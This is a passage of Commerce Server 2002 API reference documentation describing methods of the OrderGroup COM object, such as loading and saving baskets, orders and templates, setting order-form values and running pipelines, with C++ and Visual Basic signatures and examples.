[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRetVal parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' dDict is a Dictionary object
dDict = oOrderGroup.GetItemInfo(3, "testOrderFormName")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::GetOrderFormAsXML Method [C++]

OrderGroup.GetOrderFormAsXML Method [Visual Basic]

Use this method to convert an OrderForm object into an XML string.

Definition

[C++]
HRESULT _OrderGroup::GetOrderFormAsXML(
  BSTR nXMLLocale,
  VARIANT strOrderFormName,
  BSTR* pbstrRetVal
);
[Visual Basic]
Function GetOrderFormAsXML(
  nXMLLocale As String,
  Optional strOrderFormName As Variant
) As String

Parameters

nXMLLocale [C++]
[in] A BSTR that specifies the locale used in the XML string conversion.
nXMLLocale [Visual Basic]
A String that specifies the locale used in the XML string conversion.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm.
pbstrRetVal [C++]
[out, retval] A pointer to a BSTR used to return the XML string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the XML string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRetVal parameter points to valid data only if the method completed successfully.

Note: Use of the DictionaryXMLTransforms object is recommended when exchanging XML via BizTalk Server. The DictionaryXMLTransforms object allows you to write out XML to a well-defined schema.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' lLocale is a valid Locale identifier
sXMLResultString is a string
sXMLResultString = oOrderGroup.GetOrderFormAsXML(lLocale, myOrderFormName)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::AddXMLAsOrderForm

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.AddXMLAsOrderForm


_OrderGroup::GetOrderFormValue Method [C++]

OrderGroup.GetOrderFormValue Method [Visual Basic]

Use this method to get an attribute from an OrderForm, based on a specified key.

Definition

[C++]
HRESULT _OrderGroup::GetOrderFormValue(
  BSTR strKey,
  VARIANT strOrderFormName,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function GetOrderFormValue(
  strKey As String,
  Optional strOrderFormName As Variant
) As Variant

Parameters

strKey [C++]
[in] A BSTR that contains the key that specifies the attribute to get.
strKey [Visual Basic]
A String that contains the key that specifies the attribute to get.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name.
pvtRetVal [C++]
[out, retval] A pointer to a VARIANT used to return the attribute.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the attribute.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal parameter points to valid data only if the method completed successfully.

If the strOrderformName parameter is not supplied, the strOrderFormName parameter defaults to "default".

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
vResult is a Variant

vResult = oOrderGroup.GetOrderFormValue(handling_total, _
"testOrderFormName")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::Initialize Method [C++]

OrderGroup.Initialize Method [Visual Basic]

Use this method to initialize the OrderGroup object.

Definition

[C++]
HRESULT _OrderGroup::Initialize(
  BSTR strConnectionString,
  BSTR strUser ID
);
[Visual Basic]
Sub Initialize(
  strConnectionString As String,
  strUser ID As String
)

Parameters

strConnectionString [C++]
[in] A BSTR that contains the database connection string.
strConnectionString [Visual Basic]
A String that contains the database connection string.
strUser ID [C++]
[in] A BSTR that specifies the user ID. All Commerce Server 2002 user ID values are GUIDs.
strUser ID [Visual Basic]
A String that specifies the user ID. All Commerce Server 2002 user ID values are GUIDs.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use this method to specify the connection string that the OrderGroup object uses for its database operations. You also specify a user_id that the object will use as an OrderGroup_id when performing basket operations. This same user_id value is stored in the g_User IDChangedBy field.

Note

  • If you are loading an OrderGroup object on behalf of another user (for example as an administrator), you should specify the administrator user ID (or a placeholder user ID GUID which signifies administrative authority) so that g_UserDChangedBy is updated with the appropriate value when the OrderGroup object is saved back to the database. If you wish to load an OrderGroup object with a Basket status in the role of an administrator, you must specify strUser ID as the user ID of the user whose basket you wish to load. In this case g_User IDChangedBy will not be updated with an administrator user ID.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGrp is a Commerce.OrderGroup object
' sConnString is a valid connection string to the Commerce database
oOrderGrp.Initialize(sConnString, _
    "{D4F9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::LoadBasket Method [C++]

OrderGroup.LoadBasket Method [Visual Basic]

Use this method to load the basket for the current user from the database. If the basket for the user id specified in the Initialize method cannot be found, this method initializes an empty in-memory basket.

Definition

[C++]
HRESULT _OrderGroup::LoadBasket(
);
[Visual Basic]
Sub LoadBasket()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::LoadOrder

[C++] _OrderGroup::LoadTemplate

[C++] _OrderGroup::SaveAsBasket

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LoadOrder

[Visual Basic] OrderGroup.LoadTemplate

[Visual Basic] OrderGroup.SaveAsBasket


_OrderGroup::LoadOrder Method [C++]

OrderGroup.LoadOrder Method [Visual Basic]

Use this method to load an OrderGroup from disk. This method returns an error if the OrderGroup cannot be found.

Definition

[C++]
HRESULT _OrderGroup::LoadOrder(
  BSTR strOrderGroupID
);
[Visual Basic]
Sub LoadOrder(
  strOrderGroupID As String
)

Parameters

strOrderGroupID [C++]
[in] A BSTR that specifies the OrderGroupID of the OrderGroup to be loaded.
strOrderGroupID [Visual Basic]
A String that specifies the OrderGroupID of the OrderGroup to be loaded.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadOrder method can be used to load any OrderGroup whose status does not equal basket or template.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.LoadOrder("{EEF9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::LoadBasket

[C++] _OrderGroup::LoadTemplate

[C++] _OrderGroup::Initialize

[C++] _OrderGroup::SaveAsOrder

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LoadBasket

[Visual Basic] OrderGroup.LoadTemplate

[Visual Basic] OrderGroup.Initialize

[Visual Basic] OrderGroup.SaveAsOrder


_OrderGroup::LoadTemplate Method [C++]

OrderGroup.LoadTemplate Method [Visual Basic]

Use this method to load the specified template from the database.

Definition

[C++]
HRESULT _OrderGroup::LoadTemplate(
  BSTR strOrderGroupID
);
[Visual Basic]
Sub LoadTemplate(
  strOrderGroupID As String
)

Parameters

strOrderGroupID [C++]
[in] A BSTR that specifies the OrderGroupID of the template to be loaded.
strOrderGroupID [Visual Basic]
A String that specifies the OrderGroupID of the template to be loaded.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.LoadTemplate("{EEF9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::LoadOrder

[C++] _OrderGroup::LoadBasket

[C++] _OrderGroup::SaveAsTemplate

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LoadOrder

[Visual Basic] OrderGroup.LoadBasket

[Visual Basic] OrderGroup.SaveAsTemplate


_OrderGroup::PurgeUnreferencedAddresses Method [C++]

OrderGroup.PurgeUnreferencedAddresses Method [Visual Basic]

Use this method to remove all addresses in the OrderGroup object that are not being referenced by any line-item shipping_address_id or OrderForm billing_address_id.

Definition

[C++]
HRESULT _OrderGroup::PurgeUnreferencedAddresses(
);
[Visual Basic]
Sub PurgeUnreferencedAddresses()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::PutItemValue Method [C++]

OrderGroup.PutItemValue Method [Visual Basic]

Use this method to put the specified values into the specified keys of the line item.

Definition

[C++]
HRESULT _OrderGroup::PutItemValue(
  BSTR strKey,
  VARIANT vtValue,
  VARIANT_BOOL bOverWrite,
  VARIANT nItemIndex,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub PutItemValue(
  strKey As String,
  vtValue As Variant,
  Optional bOverWrite As Boolean,
  Optional nItemIndex As Variant,
  Optional strOrderFormName As Variant
)

Parameters

strKey [C++]
[in] A BSTR that specifies the key whose attribute will store the value specified by the vtValue parameter.
strKey [Visual Basic]
A String that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue [C++]
[in] A VARIANT that specifies the value to store in the attribute of the key specified by the strKey parameter.
vtValue [Visual Basic]
A VARIANT that specifies the value to store in the attribute of the key specified by the strKey parameter.
bOverWrite [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to overwrite the existing attribute of the key specified by the strKey parameter. A value of True indicates that the attribute will be overwritten. A value of False indicates that the attribute will not be overwritten if one already exists.
bOverWrite [Visual Basic]
A Boolean that indicates whether to overwrite the existing attribute of the key specified by the strKey parameter. A value of True indicates that the attribute will be overwritten. A value of False indicates that the attribute will not be overwritten.
nItemIndex [C++]
[in, optional] A VARIANT that specifies the line-item index.
nItemIndex [Visual Basic]
A Variant that specifies the line-item index.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the line-item index is specified, this method sets the name value pair for the specified line item on the OrderForm specified in the strOrderFormName parameter. (The strOrderFormName parameter defaults to "default" if unspecified.)

If the line item index is not specified, this method sets the name value pair for all line items for the specified OrderForm. If no OrderForm name is specified, this method sets the name value pair for all line items in the OrderGroup.

If there is no OrderForm for the strOrderFormName specified in the strOrderFormName parameter, one is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.PutItemValue(payment_method, credit_card, False)

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::PutOrderFormValue Method [C++]

OrderGroup.PutOrderFormValue Method [Visual Basic]

Use this method to set an attribute on an OrderForm. If the strOrderFormName parameter is supplied, and the OrderForm does not exist in the OrderGroup, then a new OrderForm with the supplied name is created.

If strOrderFormName is not supplied, the parameter defaults to "default".

Definition

[C++]
HRESULT _OrderGroup::PutOrderFormValue(
  BSTR strKey,
  VARIANT vtValue,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub PutOrderFormValue(
  strKey As String,
  vtValue As Variant,
  Optional strOrderFormName As Variant
)

Parameters

strKey [C++]
[in] A BSTR that specifies the key whose attribute will store the value specified by the vtValue parameter.
strKey [Visual Basic]
A String that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue [C++]
[in] A VARIANT that specifies the value to store in the attribute of the key specified by the strKey parameter.
vtValue [Visual Basic]
A VARIANT that specifies the value to store in the attribute of the key specified by the strKey parameter.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.PutOrderFormValue(handling_total, "$ 421.23")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::RemoveItem Method [C++]

OrderGroup.RemoveItem Method [Visual Basic]

Use this method to remove a line item from the specified OrderForm object. The item index specified indicates which line item to remove.

Definition

[C++]
HRESULT _OrderGroup::RemoveItem(
  VARIANT nItemIndex,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub RemoveItem(
  Optional nItemIndex As Variant,
  Optional strOrderFormName As Variant
)

Parameters

nItemIndex [C++]
[in, optional] A VARIANT that specifies the line item index. If this value is null, all items in the OrderForm are removed.
nItemIndex [Visual Basic]
A Variant that specifies the line item index. If this value is null, all items in the OrderForm are removed.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name. If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default". If both the nItemIndex and the strOrderFormName parameters are not supplied, then all items in all OrderForms are removed.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name. If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default". If both the nItemIndex and the strOrderFormName parameters are not supplied, then all items in all OrderForms are removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::AddItem

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.AddItem


_OrderGroup::RemoveOrderForm Method [C++]

OrderGroup.RemoveOrderForm Method [Visual Basic]

Use this method to remove the specified OrderForm from the OrderGroup object.

Definition

[C++]
HRESULT _OrderGroup::RemoveOrderForm(
  BSTR strOrderFormName
);
[Visual Basic]
Sub RemoveOrderForm(
  strOrderFormName As String
)

Parameters

strOrderFormName [C++]
[in] A BSTR that specifies the OrderForm to remove.
strOrderFormName [Visual Basic]
A String that specifies the OrderForm to remove.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.RemoveOrderForm("myOrderFormName")

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::AddOrderform

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.AddOrderform


_OrderGroup::RunPipe Method [C++]

OrderGroup.RunPipe Method [Visual Basic]

Use this method to run the Pipeline Component File on each OrderForm in the OrderGroup object.

Definition

[C++]
HRESULT _OrderGroup::RunPipe(
  BSTR strPCF,
  BSTR strPipelineProgID,
  IDispatch* oContext,
  long* lpRetVal
);
[Visual Basic]
Function RunPipe(
  strPCF As String,
  strPipelineProgID As String,
  oContext As Object
) As Long

Parameters

strPCF [C++]
[in] A BSTR that specifies the Pipeline Component File file path (for example, c:\SampleDir\SampleFile.pcf).
strPCF [Visual Basic]
A String that specifies the Pipeline Component File file path (for example, c:\SampleDir\SampleFile.pcf).
strPipelineProgID [C++]
[in] A BSTR that specifies the pipeline ProgID.
strPipelineProgID [Visual Basic]
A String that specifies the pipeline ProgID.
oContext [C++]
[in] A pointer to the IDispatch interface that specifies the pipeline context.
oContext [Visual Basic]
An object reference that specifies the pipeline context.
lpRetVal [C++]
[out, retval] A pointer to a long used to return the maximum error level encountered by the pipeline runs.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that specifies the maximum error level encountered by the pipeline runs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When OrderGroup.RunPipe is called, the OrderGroup object instantiates and runs the pipeline for each of its contained OrderForms. The pipeline objects themselves continue to be passed a regular OrderForm, as if they were run in a stand-alone pipeline. In fact, a pipeline component has no way of knowing whether it is running on an OrderForm within an OrderGroup, or on a stand-alone OrderForm.

There are cases where you want the pipeline component to know about all items in the OrderGroup, regardless of whether those items are from differing vendors (ie a discount component). If this is the case, you should not use the multiple-OrderForm feature of the OrderGroup object (adding all items to the same OrderForm). In these cases, you can use the Splitter pipeline component to produce views of items from different vendors on your OrderForm.

When calling OrderGroup.RunPipe, you can rely on the aggregation features of the OrderGroup to produce grand totals across all OrderForms. OrderGroup.RunPipe automatically aggregates many common fields. If you wish to aggregate additional fields, use OrderGroup.AggregateOrderformValues.

Additionally, this method computes grand totals across each OrderForm for each of the following properties:

Orderform Value | Grand Total on the OrderGroup
_cy_oadjust_subtotal | saved_cy_oadjust_subtotal
_cy_total_total | saved_cy_total_total
_cy_shipping_total | saved_cy_shipping_total
_cy_handling_total | saved_cy_handling_total
_cy_tax_total | saved_cy_tax_total
_cy_tax_included | saved_cy_tax_included

Many pipeline keys are prefixed by "_", which by default means they will not be persisted to the database. Occasionally, you may want to take snapshots of these keys, and by convention, the prefix "saved_" is used in this situation. By using the "saved_" prefix they can be referred to later and can be searched via SQL statements or the OrderGroupManager object. Copied keys should not necessarily be trusted as being up-to-date. Also, they should not be used by pipeline components directly.

The OrderGroup object has a LogFile property that can be used to set the log file for the RunPipe method.

[C++] The lpRetVal parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' lResult is a long
' oContext specifies the pipeline context
lResult = oOrderGroup.RunPipe("c:\myPCFFile.pcf", _
    "Commerce.PooledPipeline", oContext)

See Also

[C++] Pipeline Basics

[C++] OrderGroup Object

[C++] _OrderGroup::get_LogFile, put_LogFile

[Visual Basic] Pipeline Basics

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LogFile


_OrderGroup::SaveAsBasket Method [C++]

OrderGroup.SaveAsBasket Method [Visual Basic]

Use this method to save the OrderGroup object to the database with a basket status.

Definition

[C++]
HRESULT _OrderGroup::SaveAsBasket(
  VARIANT* pvtRetVal
);
[Visual Basic]
Function SaveAsBasket() As Variant

Parameters

pvtRetVal [C++]
[out, retval] A pointer to a VARIANT used to return the OrderGroupID.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that specifies the OrderGroupID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The pvtRetVal parameter points to valid data only if the method completed successfully.

This method sets the OrderGroup status to "basket", and sets the OrderGroupID equal to the user ID.

If the OrderGroup object was not loaded from a basket, this method deletes any existing on-disk basket before inserting into the data storage.

If the OrderGroup object was loaded from a basket, this method performs an update or insert depending on whether the OrderGroup was found on-disk on the load call. If you load a template or order and call the SaveAsBasket method, the template or order which was originally loaded remains unchanged on disk.

When the OrderGroup.SaveAsOrder, SaveAsBasket, or SaveAsTemplate methods are called, four values are copied from the first OrderForm in the OrderGroup into the OrderGroup object itself. If any of these values already existed at the OrderGroup level, they are overwritten with the values copied from the OrderForm. If the value was Null or never set on the OrderForm, and the value was set on the OrderGroup, the OrderGroup value is overwritten with Null. The values replaced in the OrderGroup are user_first_name, user_last_name, billing_currency, and user_org_name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' vResult is a Variant
vResult = oOrderGroup.SaveAsBasket()

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::LoadBasket

[C++] _OrderGroup::SaveAsOrder

[C++] _OrderGroup::SaveAsTemplate

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LoadBasket

[Visual Basic] OrderGroup.SaveAsOrder

[Visual Basic] OrderGroup.SaveAsTemplate


_OrderGroup::SaveAsOrder Method [C++]

OrderGroup.SaveAsOrder Method [Visual Basic]

Use this method to save the OrderGroup to the database with an order status.

Definition

[C++]
HRESULT _OrderGroup::SaveAsOrder(
  VARIANT* vtOutTrackingNumber,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function SaveAsOrder(
  Optional vtOutTrackingNumber As Variant
) As Variant

Parameters

vtOutTrackingNumber [C++]
[in] A pointer to the VARIANT used to return the tracking number. If specified, this VARIANT will contain the tracking number when the method returns.
vtOutTrackingNumber [Visual Basic]
A Variant that specifies the tracking number. If specified, this Variant must be a non-literal value; when the method returns, it will contain the tracking number.
pvtRetval [C++]
[out, retval] A pointer to a VARIANT used to return the OrderGroupID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that specifies the OrderGroupID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal parameter points to valid data only if the method completed successfully.

This method sets the OrderGroup status to "order" if the current status is Template, Basket, or undefined. (All other states are left alone; this allows orders to be in many states, such as pending approval, rejected, and so on.) You can set the state to any value except basket or template before calling the SaveAsOrder method; this method will not overwrite the state.

If this is the first time the order is saved, a special field will be written that records the order creation date. If an OrderTrackingNumber already exists on the OrderForm (under the key order_number) before the save, a new one will not be generated. This feature allows for ERP-based tracking numbers.

If the OrderGroup was loaded from a template, or from a basket, this method will generate a new OrderGroupID and tracking number, and perform a database insert. If the OrderGroup does not yet exist on disk, this method will generate an OrderGroupID and tracking number and perform a database insert. If the OrderGroup was loaded from any other state, this method will perform a database update. If there are multiple OrderForms associated with an OrderGroup, all the OrderForms will share the same tracking number.

If you load a basket or template and call the SaveAsOrder method, the basket or template remains unchanged on disk. For this reason,a call to the SaveAsOrder method is typically followed by a call to OrderGroupManager.DeleteOrderGroupFromDisk.

When the OrderGroup.SaveAsOrder, SaveAsBasket, or SaveAsTemplate methods are called, four values are copied from the first OrderForm in the OrderGroup into the OrderGroup object itself. If any of these values already existed at the OrderGroup level, they are overwritten with the values copied from the OrderForm. If the value was Null or never set on the OrderForm, and the value was set on the OrderGroup, the OrderGroup value is overwritten with Null. The values replaced in the OrderGroup are user_first_name, user_last_name, billing_currency, and user_org_name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' vResult is a Variant
' vTrackingNumber is a Variant
vResult = oOrderGroup.SaveAsOrder(vTrackingNumber)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::SaveAsBasket

[C++] _OrderGroup::SaveAsTemplate

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.SaveAsBasket

[Visual Basic] OrderGroup.SaveAsTemplate


_OrderGroup::SaveAsTemplate Method [C++]

OrderGroup.SaveAsTemplate Method [Visual Basic]

